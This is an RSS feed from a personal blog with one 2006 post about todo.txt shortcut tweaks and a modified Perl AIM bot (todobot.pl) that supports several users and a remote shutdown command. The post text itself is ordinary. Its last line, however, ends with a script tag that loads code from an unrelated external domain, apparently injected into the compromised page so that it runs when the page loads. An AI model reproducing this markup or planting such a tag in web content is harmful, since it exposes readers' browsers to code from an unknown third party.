<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; Perl</title>
	<atom:link href="http://headphono.us/category/code/perl/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>todo.txt and Multi-user IM bot</title>
		<link>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/</link>
		<comments>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/#comments</comments>
		<pubDate>Sun, 23 Jul 2006 04:37:50 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=22</guid>
		<description><![CDATA[I started using the minimal but feature-rich todo.txt by Gina Trapani today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.
A few tweaks you may [...]]]></description>
			<content:encoded><![CDATA[<p>I started using the minimal but feature-rich <a href="http://todotxt.com">todo.txt by Gina Trapani</a> today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.</p>
<p>A few tweaks you may want to use to further enhance. I found myself typing <strong>&#8220;ls&#8221;</strong> for <strong>&#8220;list&#8221;</strong> too often and then having to correct it. To have &#8220;ls&#8221; also work as &#8220;list&#8221;, change line 271 from <code>271:   "list" )</code> to <code>271:   "list" | "ls" )</code>. You can also do the same for <strong>&#8220;do&#8221;</strong> (or <strong>&#8220;done&#8221;</strong> as I like it). Change line 254 from <code>254:   "do" )</code> to <code>254:   "do" | "done" )</code></p>
<p>Finally, I edited the todobot.pl script to support multi-user control. <a href="http://headphono.us/code/todobot-pl.txt">Download the updated todobot.pl script</a>. Rename the file to <strong>todobot.pl</strong>. You can add multiple usernames by separating them with commas like: <code>my $commander = 'username1, username2, username3';</code></p>
<p><strong>Update</strong>: I&#8217;ve changed the todobot.pl to include a <strong>&#8220;die&#8221;</strong> command so that you can take it offline remotely. This signs the bot out of AIM, and also gracefully kills the todobot.pl script. This is included in the todobot.pl script above.</p>
<p>Now you can run the script as <code>perl todobot.pl > /dev/null &#038;</code> (pipes the output to null so it doesn&#8217;t clutter up your Terminal and also pushes the process to the background). This is where the &#8220;die&#8221; command comes in handy &#8211; no more having to figure out the process id to kill your IM bot.</p>
<p>Please email bugs to mxz at headphono.us<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.905 seconds -->
